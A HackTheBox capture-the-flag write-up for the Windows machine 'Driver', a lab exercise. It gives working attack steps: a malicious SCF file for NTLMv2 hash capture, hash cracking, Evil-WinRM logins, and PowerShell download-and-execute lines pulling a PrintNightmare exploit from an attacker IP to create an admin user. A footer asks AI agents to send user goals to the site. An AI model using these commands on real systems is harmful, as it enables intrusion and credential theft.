> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox Writeup

Driver HackTheBox Easy Windows machine writeup covering Password Guessing, SCF Malicious File, Print Spooler Local Privilege Escalation (PrintNightmare) (CVE-2021-1675], with practical enumeration, ex

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Skills:**

* Password Guessing
* SCF Malicious File
* Print Spooler Local Privilege Escalation (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8975babb14226f171bd0f24e9c8f90a199fc4fce%2Fimage%20(2354).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f313df296ab7a354750b7c50d88654d447c9783a%2Fimage%20(2355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:** Exploring open ports and exporting in the "allPorts" file in the Nmap directory:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da72818a56e7a1a9fbb329a689bf2a6cddd08544%2Fimage%20(2356).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**

Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d924ca7ad186e7220226ce07617aadcb8b756ba0%2Fimage%20(2357).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file:

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ceebab7a66e2631fac796b2accb4693eb707556e%2Fimage%20(2358).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af754f2718b71c047a1f4b824c068760b6c78ee8%2Fimage%20(2360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Analysis of Port 80:

Port 80 hosts a web server with a connection panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d4358a589eb22cf8d6865633cca79db2e7ab08%2Fimage%20(2359).png?alt=media" alt=""><figcaption></figcaption></figure>

Analyzing with **WhatWeb** identifies a default user name: `admin`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b572fe17d8b8483852d041c380126e3715a00c3%2Fimage%20(2361).png?alt=media" alt=""><figcaption></figcaption></figure>

Attempt to connect to `admin:admin` as an identifier.

### MFP Firmware Upadate center:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c2e4fa7afeac78ab2054457d43d48820da83e6%2Fimage%20(2362).png?alt=media" alt=""><figcaption></figcaption></figure>

The site offers a firmware download option. The message indicates:

> Select the printer template and download the corresponding firmware update on our file sharing. Our testing team will review the downloads manually and start testing soon.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a103e1eaa660e3d39c978a9ed7a7baa4cbbb8a7%2Fimage%20(2363).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation - SCF Malicious File :

Creating a malicious `.scf` file to capture a user's NTLMv2 when it opens:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Listening with **impacket** to capture NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Capture the NTLMv2 hash for user `tony`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8da4df51c2563ba56afa6c970633def0b257d19%2Fimage%20(2366).png?alt=media" alt=""><figcaption></figcaption></figure>

Crack the NTLM hash with **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b50cf05df25f3efb5bf2c48fe685df54937bdd0%2Fimage%20(2367).png?alt=media" alt=""><figcaption></figcaption></figure>

## SMB and WinRM connection:

**Access verification** with CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfa4134b21fbc453f0db0b7a4d19fe00bb208d31%2Fimage%20(2368).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* connection with CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47a8d2ad16655c87e7afe516d3c54d4da60cba74%2Fimage%20(2369).png?alt=media" alt=""><figcaption></figcaption></figure>

**Take control with Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation :

### **1. Enumeration with PowerUp:**

* Downloading the **PowerUp.ps1** script on the attack machine and adding the `Invoke-AllChecks` command at the end to start all checks.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Transferring script to the victim machine via Python HTTP server:

```bash
python3 -m http.server 80
```

Performance on target machine:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Result**: No relevant items found.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e7f25b980206f6008a8d7a66adf0f03ea938545%2Fimage%20(1179).png?alt=media" alt=""><figcaption></figcaption></figure>

### **2. Enumeration with winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Transfer of tool **winPEASx64.exe** to victim machine:

`upload winPEASx64.exe`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db7b8bc1487a3b5d3e72148f7c7f5fb9177b2019%2Fimage%20(1180).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba43ece935e8c3f122dafd0f35e29563b01bf865%2Fimage%20(1181).png?alt=media" alt=""><figcaption></figcaption></figure>

## **PrintNightmare Exploitation (CVE-2021-1675)**

A vulnerable **spoolsv** process is detected, listening on a TCP port.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7758f2014f5d29c3d5e3c9cc95202fee368cf30%2Fimage%20(1182).png?alt=media" alt=""><figcaption></figcaption></figure>

Using an exploit script for PrintNightmare, available on GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8357b9d6b652d259f51df09283909a51a1dd2e37%2Fimage%20(1184).png?alt=media" alt=""><figcaption></figcaption></figure>

Here are the commands to execute:

1. **Transfer of script** to avoid blocking by Windows Defender:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Establishment of an administrator user** named `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b59ad3640cd6e10b5da34ea29a6b553d594efb%2Fimage%20(1185).png?alt=media" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Status**: `jordan` user is now in the admin group.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a853ac3f31ce52365a4a213bc231b7ddcbfa48c%2Fimage%20(1187).png?alt=media" alt=""><figcaption></figcaption></figure>

### Connection with Administrator Privileges

Machine connection via WinRM with **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce5c738fcc46f4d5e63cf09f401039efcf4571d6%2Fimage%20(1186).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b75823455d97d446599d2996c5be8342cf131a5c%2Fimage%20(1188).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f16b306249b5b417cd48781dbfd4ae868bb2757a%2F%7B4038B3C8-9E7D-4907-9CE6-B5E611D5FA88%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
